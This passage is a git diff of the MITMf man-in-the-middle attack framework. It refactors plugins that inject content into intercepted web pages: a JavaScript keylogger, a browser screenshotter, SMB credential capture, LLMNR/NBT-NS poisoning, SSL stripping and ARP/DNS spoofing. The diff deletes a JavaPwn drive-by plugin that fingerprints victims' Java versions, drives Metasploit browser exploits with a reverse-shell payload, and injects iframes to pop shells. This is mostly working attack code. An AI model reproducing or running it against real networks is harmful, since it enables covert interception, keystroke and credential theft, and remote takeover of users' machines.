core.sergioproxy.ProxyPlugins import ProxyPlugins mitmf_logger = logging.getLogger("mitmf") -class Inject(Plugin): +class Inject(CacheKill, Plugin): name = "Inject" optname = "inject" desc = "Inject arbitrary content into HTML content" - version = "0.2" + version = "0.3" has_opts = True def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.our_ip = SystemConfig.getIP(options.interface) - self.html_src = options.html_url - self.js_src = options.js_url - self.rate_limit = options.rate_limit - self.count_limit = options.count_limit - self.per_domain = options.per_domain - self.black_ips = options.black_ips - self.white_ips = options.white_ips - self.match_str = "" or options.match_str - self.html_payload = options.html_payload - self.ctable = {} - self.dtable = {} - self.count = 0 - self.mime = "text/html" + self.options = options + self.our_ip = SystemConfig.getIP(options.interface) + self.html_src = options.html_url + self.js_src = options.js_url + self.rate_limit = options.rate_limit + self.count_limit = options.count_limit + self.per_domain = options.per_domain + self.black_ips = options.black_ips.split(',') + self.white_ips = options.white_ips.split(',') + self.white_domains = options.white_domains.split(',') + self.black_domains = options.black_domains.split(',') + self.match_str = "" or options.match_str + self.html_payload = options.html_payload + self.ctable = {} + self.dtable = {} + self.count = 0 + self.mime = "text/html" if not options.preserve_cache: - cachekill = CacheKill() - cachekill.initialize(options) - ProxyPlugins.getInstance().addPlugin(cachekill) + CacheKill.initialize(self, options) def serverResponse(self, response, request, data): #We throttle to only inject once every two seconds per client #If you have MSF on another host, you may need to check prior to injection #print "http://" + response.client.getRequestHostname() + response.uri ip, hn, mime = self._get_req_info(response) - if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and (hn not in self.our_ip): + if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.our_ip): if (not self.js_src == self.html_src is not None or not self.html_payload == ""): data = self._insert_html(data, post=[(self.match_str, self._get_payload())]) self.ctable[ip] = time.time() @@ -81,20 +80,37 @@ class Inject(Plugin): def _ip_filter(self, ip): - if self.white_ips is not None: - if ip in self.white_ips.split(','): + if self.white_ips[0] != '': + if ip in self.white_ips: return True else: return False - if self.black_ips is not None: - if ip in self.black_ips.split(','): + if self.black_ips[0] != '': + if ip in self.black_ips: return False else: return True return True + def _host_filter(self, host): + + if self.white_domains[0] != '': + if host in self.white_domains: + return True + else: + return False + + if self.black_domains[0] != '': + if host in self.black_domains: + return False + else: + return True + + return True + + def _should_inject(self, ip, hn, mime): if self.count_limit == self.rate_limit is None and not self.per_domain: @@ -153,12 +169,14 @@ class Inject(Plugin): def pluginOptions(self, options): options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") - options.add_argument("--html-payload", type=str, default=None, help="String you would like to inject.") + options.add_argument("--html-payload", type=str, default='', help="String you would like to inject.") options.add_argument("--match-str", type=str, default=None, help="String you would like to match and place your payload before. ( by default)") options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") group = options.add_mutually_exclusive_group(required=False) group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.") group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.") group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.") - group.add_argument("--white-ips", type=str, default=None, help="Inject content ONLY for these ips") - group.add_argument("--black-ips", type=str, default=None, help="DO NOT inject content for these ips") + group.add_argument("--white-ips", metavar='IPS', type=str, default='', help="Inject content ONLY for these ips (comma seperated)") + group.add_argument("--black-ips", metavar='IPS', type=str, default='', help="DO NOT inject content for these ips (comma seperated)") + group.add_argument("--white-domains", metavar='DOMAINS', type=str, default='', help="Inject content ONLY for these domains (comma seperated)") + group.add_argument("--black-domains", metavar='DOMAINS', type=str, default='', help="DO NOT inject content for these domains (comma seperated)") diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py deleted file mode 100644 index e563208..0000000 --- a/plugins/JavaPwn.py +++ /dev/null @@ -1,231 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import string -import random -import threading -import sys -import logging - -from time import sleep -from core.msfrpc import Msfrpc -from core.utils import SystemConfig -from plugins.plugin import Plugin -from plugins.BrowserProfiler import BrowserProfiler - -mitmf_logger = logging.getLogger("mitmf") - -class JavaPwn(Plugin): - name = "JavaPwn" - optname = "javapwn" - desc = "Performs drive-by attacks on clients with out-of-date java browser plugins" - tree_output = [] - version = "0.3" - has_opts = False - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.msfip = SystemConfig.getIP(options.interface) - - try: - msfcfg = options.configfile['MITMf']['Metasploit'] - except Exception, e: - sys.exit("[-] Error parsing Metasploit options in config file : {}".format(e)) - - try: - self.javacfg = options.configfile['JavaPwn'] - except Exception, e: - sys.exit("[-] Error parsing config for JavaPwn: {}".format(e)) - - self.msfport = msfcfg['msfport'] - self.rpcip = msfcfg['rpcip'] - self.rpcpass = msfcfg['rpcpass'] - - #Initialize the BrowserProfiler plugin - BrowserProfiler.initialize(self, options) - self.black_ips = [] - - try: - self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary - self.msf.login('msf', self.rpcpass) - version = self.msf.call('core.version')['version'] - self.tree_output.append("Connected to Metasploit v{}".format(version)) - except Exception: - sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") - - def onConfigChange(self): - self.initialize(self.options) - - def startThread(self, options): - self.pwn() - - def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning) - return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5)) - - def get_exploit(self, java_version): - exploits = [] - - client_vstring = java_version[:-len(java_version.split('.')[3])-1] - client_uversion = int(java_version.split('.')[3]) - - for ver in self.javacfg['Multi'].iteritems(): - if type(ver[1]) is list: - for list_vers in ver[1]: - - version_string = list_vers[:-len(list_vers.split('.')[3])-1] - update_version = int(list_vers.split('.')[3]) - - if ('*' in version_string[:1]) and (client_vstring == version_string[1:]): - if client_uversion == update_version: - exploits.append(ver[0]) - elif (client_vstring == version_string): - if client_uversion <= update_version: - exploits.append(ver[0]) - else: - version_string = ver[1][:-len(ver[1].split('.')[3])-1] - update_version = int(ver[1].split('.')[3]) - - if ('*' in version_string[:1]) and (client_vstring == version_string[1:]): - if client_uversion == update_version: - exploits.append(ver[0]) - elif client_vstring == version_string: - if client_uversion <= update_version: - exploits.append(ver[0]) - - return exploits - - - def injectWait(self, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions - #inject iframe - mitmf_logger.info("{} >> now injecting iframe to trigger exploit".format(client_ip)) - self.html_payload = "".format(self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects - - mitmf_logger.info('{} >> waiting for ze shellz, Please wait...'.format(client_ip)) - - exit = False - i = 1 - while i <= 30: #wait max 60 seconds for a new shell - if exit: - break - shell = self.msf.call('session.list') #poll metasploit every 2 seconds for new sessions - if len(shell) > 0: - for k, v in shell.iteritems(): - if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted - mitmf_logger.info("{} >> Got shell!".format(client_ip)) - self.sploited_ips.append(client_ip) #target successfuly owned :) - self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped - exit = True - break - sleep(2) - i += 1 - - if exit is False: #We didn't get a shell :( - mitmf_logger.info("{} >> session not established after 30 seconds".format(client_ip)) - - self.html_payload = self.get_payload() # restart the BrowserProfiler plugin - - def send_command(self, cmd, vic_ip): - try: - mitmf_logger.info("{} >> sending commands to metasploit".format(vic_ip)) - - #Create a virtual console - console_id = self.msf.call('console.create')['id'] - - #write the cmd to the newly created console - self.msf.call('console.write', [console_id, cmd]) - - mitmf_logger.info("{} >> commands sent succesfully".format(vic_ip)) - except Exception, e: - mitmf_logger.info('{} >> Error accured while interacting with metasploit: {}:{}'.format(vic_ip, Exception, e)) - - def pwn(self): - self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit - while True: - if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled - - brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format - - if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited - - vic_ip = brwprofile['ip'] - - mitmf_logger.info("{} >> client has java version {} installed! Proceeding...".format(vic_ip, brwprofile['java_version'])) - mitmf_logger.info("{} >> Choosing exploit based on version string".format(vic_ip)) - - exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg - - if exploits: - - if len(exploits) > 1: - mitmf_logger.info("{} >> client is vulnerable to {} exploits!".format(vic_ip, len(exploits))) - exploit = random.choice(exploits) - mitmf_logger.info("{} >> choosing {}".format(vic_ip, exploit)) - else: - mitmf_logger.info("{} >> client is vulnerable to {}!".format(vic_ip, exploits[0])) - exploit = exploits[0] - - #here we check to see if we already set up the exploit to avoid creating new jobs for no reason - jobs = self.msf.call('job.list') #get running jobs - if len(jobs) > 0: - for k, v in jobs.iteritems(): - info = self.msf.call('job.info', [k]) - if exploit in info['name']: - mitmf_logger.info('{} >> {} already started'.format(vic_ip, exploit)) - url = info['uripath'] #get the url assigned to the exploit - self.injectWait(self.msf, url, vic_ip) - - else: #here we setup the exploit - rand_port = random.randint(1000, 65535) #generate a random port for the payload listener - rand_url = self.rand_url() - #generate the command string to send to the virtual console - #new line character very important as it simulates a user pressing enter - cmd = "use exploit/{}\n".format(exploit) - cmd += "set SRVPORT {}\n".format(self.msfport) - cmd += "set URIPATH {}\n".format(rand_url) - cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter and its multi-platform - cmd += "set LHOST {}\n".format(self.msfip) - cmd += "set LPORT {}\n".format(rand_port) - cmd += "exploit -j\n" - - mitmf_logger.debug("command string:\n{}".format(cmd)) - - self.send_command(cmd, vic_ip) - - self.injectWait(rand_url, vic_ip) - else: - #this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert) - mitmf_logger.info("{} >> client is not vulnerable to any java exploit".format(vic_ip)) - mitmf_logger.info("{} >> falling back to the signed applet attack".format(vic_ip)) - - rand_url = self.rand_url() - rand_port = random.randint(1000, 65535) - - cmd = "use exploit/multi/browser/java_signed_applet\n" - cmd += "set SRVPORT {}\n".format(self.msfport) - cmd += "set URIPATH {}\n".format(rand_url) - cmd += "set PAYLOAD generic/shell_reverse_tcp\n" - cmd += "set LHOST {}\n".format(self.msfip) - cmd += "set LPORT {}\n".format(rand_port) - cmd += "exploit -j\n" - - self.send_command(cmd, vic_ip) - self.injectWait(rand_url, vic_ip) - sleep(1) diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py index 2dceae8..892cc69 100644 --- a/plugins/JsKeylogger.py +++ b/plugins/JsKeylogger.py @@ -18,151 +18,54 @@ # USA # import logging +import re +import random +import string from plugins.plugin import Plugin from plugins.Inject import Inject -from core.sergioproxy.ProxyPlugins import ProxyPlugins mitmf_logger = logging.getLogger("mitmf") -class jskeylogger(Plugin): - name = "Javascript Keylogger" +class jskeylogger(Inject, Plugin): + name = "JSKeylogger" optname = "jskeylogger" desc = "Injects a javascript keylogger into clients webpages" version = "0.2" has_opts = False def initialize(self, options): - inject = Inject() - inject.initialize(options) - inject.html_payload = self.msf_keylogger() - ProxyPlugins.getInstance().addPlugin(inject) + Inject.initialize(self, options) + self.html_payload = self.msf_keylogger() def clientRequest(self, request): - #Handle the plugin output if 'keylog' in request.uri: request.printPostData = False - client_ip = request.client.getClientIP() - raw_keys = request.postData.split("&&")[0] + input_field = request.postData.split("&&")[1] + keys = raw_keys.split(",") - del keys[0]; del(keys[len(keys)-1]) + if keys: + del keys[0]; del(keys[len(keys)-1]) - input_field = request.postData.split("&&")[1] + nice = '' + for n in keys: + if n == '9': + nice += "" + elif n == '8': + nice = nice[:-1] + elif n == '13': + nice = '' + else: + try: + nice += n.decode('hex') + except: + mitmf_logger.error("{} [JSKeylogger] Error decoding char: {}".format(request.client.getClientIP(), n)) - nice = '' - for n in keys: - if n == '9': - nice += "" - elif n == '8': - nice = nice.replace(nice[-1:], "") - elif n == '13': - nice = '' - else: - try: - nice += n.decode('hex') - except: - mitmf_logger.error("{} [{}] Error decoding char: {}".format(client_ip, self.name, n)) - - mitmf_logger.info("{} [{}] Host: {} Field: {} Keys: {}".format(client_ip, self.name, request.headers['host'], input_field, nice)) + mitmf_logger.info("{} [JSKeylogger] Host: {} | Field: {} | Keys: {}".format(request.client.getClientIP(), request.headers['host'], input_field, nice)) def msf_keylogger(self): - #Stolen from the Metasploit module http_javascript_keylogger, modified to work in Android and IOS + keylogger = open("./core/javascript/msfkeylogger.js", "r").read() - payload = """""" - - return payload \ No newline at end of file + return '' diff --git a/plugins/Responder.py b/plugins/Responder.py index 9f72c01..e49bcfe 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -34,7 +34,7 @@ class Responder(Plugin): name = "Responder" optname = "responder" desc = "Poison LLMNR, NBT-NS and MDNS requests" - tree_output = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] + tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] version = "0.2" has_opts = True @@ -88,7 +88,32 @@ class Responder(Plugin): LDAPServer().start(smbChal) if options.analyze: - self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") + self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") + self.IsICMPRedirectPlausible(self.ourip) + + def IsICMPRedirectPlausible(self, IP): + result = [] + dnsip = [] + for line in file('/etc/resolv.conf', 'r'): + ip = line.split() + if len(ip) < 2: + continue + if ip[0] == 'nameserver': + dnsip.extend(ip[1:]) + + for x in dnsip: + if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False: + self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x)) + else: + pass + + def IsOnTheSameSubnet(self, ip, net): + net = net+'/24' + ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) + netstr, bits = net.split('/') + netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) + mask = (0xffffffff << (32 - int(bits))) & 0xffffffff + return (ipaddr & mask) == (netaddr & mask) def pluginReactor(self, strippingFactory): reactor.listenTCP(3141, strippingFactory) @@ -100,5 +125,6 @@ class Responder(Plugin): options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query") options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server") + # Removed these options until I find a better way of implementing them #options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") #options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py index ad17a3e..e6657fc 100644 --- a/plugins/SMBAuth.py +++ b/plugins/SMBAuth.py @@ -21,9 +21,8 @@ from core.utils import SystemConfig from plugins.plugin import Plugin from plugins.Inject import Inject -from core.sergioproxy.ProxyPlugins import ProxyPlugins -class SMBAuth(Plugin): +class SMBAuth(Inject, Plugin): name = "SMBAuth" optname = "smbauth" desc = "Evoke SMB challenge-response auth attempts" @@ -33,10 +32,8 @@ class SMBAuth(Plugin): def initialize(self, options): self.target_ip = SystemConfig.getIP(options.interface) - inject = Inject() - inject.initialize(options) - inject.html_payload = self._get_data() - ProxyPlugins.getInstance().addPlugin(inject) + Inject.initialize(options) + self.html_payload = self._get_data() def _get_data(self): return ''\ diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index 887a6f0..d3753ac 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -27,12 +27,12 @@ from core.sslstrip.URLMonitor import URLMonitor from core.dnschef.DNSchef import DNSChef class HSTSbypass(Plugin): - name = 'SSLstrip+' - optname = 'hsts' - desc = 'Enables SSLstrip+ for partial HSTS bypass' - version = "0.4" - tree_output = ["SSLstrip+ by Leonardo Nve running"] - has_opts = False + name = 'SSLstrip+' + optname = 'hsts' + desc = 'Enables SSLstrip+ for partial HSTS bypass' + version = "0.4" + tree_info = ["SSLstrip+ by Leonardo Nve running"] + has_opts = False def initialize(self, options): self.options = options diff --git a/plugins/Screenshotter.py b/plugins/Screenshotter.py new file mode 100644 index 0000000..23cb23e --- /dev/null +++ b/plugins/Screenshotter.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import base64 + +from datetime import datetime +from plugins.Inject import Inject +from plugins.plugin import Plugin + +mitmf_logger = logging.getLogger('mitmf') + +class ScreenShotter(Inject, Plugin): + name = 'ScreenShotter' + optname = 'screen' + desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' + ver = '0.1' + has_opts = False + + def initialize(self, options): + Inject.initialize(self, options) + self.html_payload = self.get_payload() + + def clientRequest(self, request): + if 'saveshot' in request.uri: + request.printPostData = False + img_file = './logs/{}-{}-{}.png'.format(request.client.getClientIP(), request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) + with open(img_file, 'wb') as img: + img.write(base64.b64decode(request.postData[30:] + '==')) + img.close() + + mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(request.client.getClientIP(), img_file)) + + def get_payload(self): + canvas = open("./core/javascript/screenshot.js", "rb").read() + return '' \ No newline at end of file diff --git a/plugins/Spoof.py b/plugins/Spoof.py index a2adfae..086128c 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -32,7 +32,6 @@ class Spoof(Plugin): name = "Spoof" optname = "spoof" desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" - tree_output = list() version = "0.6" has_opts = True @@ -63,7 +62,7 @@ class Spoof(Plugin): arpwatch = ARPWatch(options.gateway, self.myip, options.interface) arpwatch.debug = debug - self.tree_output.append("ARPWatch online") + self.tree_info.append("ARPWatch online") self.protocolInstances.append(arpwatch) arp = ARPpoisoner(options.gateway, options.interface, self.mymac, options.targets) diff --git a/plugins/plugin.py b/plugins/plugin.py index f6a7cde..0d5a324 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -8,10 +8,11 @@ import logging mitmf_logger = logging.getLogger('mitmf') class Plugin(ConfigWatcher, object): - name = "Generic plugin" - optname = "generic" - desc = "" - has_opts = False + name = "Generic plugin" + optname = "generic" + tree_info = list() + desc = "" + has_opts = False def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' diff --git a/requirements.txt b/requirements.txt index 75fc1ad..1df0c6a 100644 --- a/requirements.txt +++ b/requirements.txt @@ -4,10 +4,7 @@ scapy msgpack-python dnspython dnslib -user-agents configobj -pyyaml -ua-parser Pillow pefile ipy @@ -16,4 +13,4 @@ service_identity watchdog impacket capstone -pypcap +pypcap \ No newline at end of file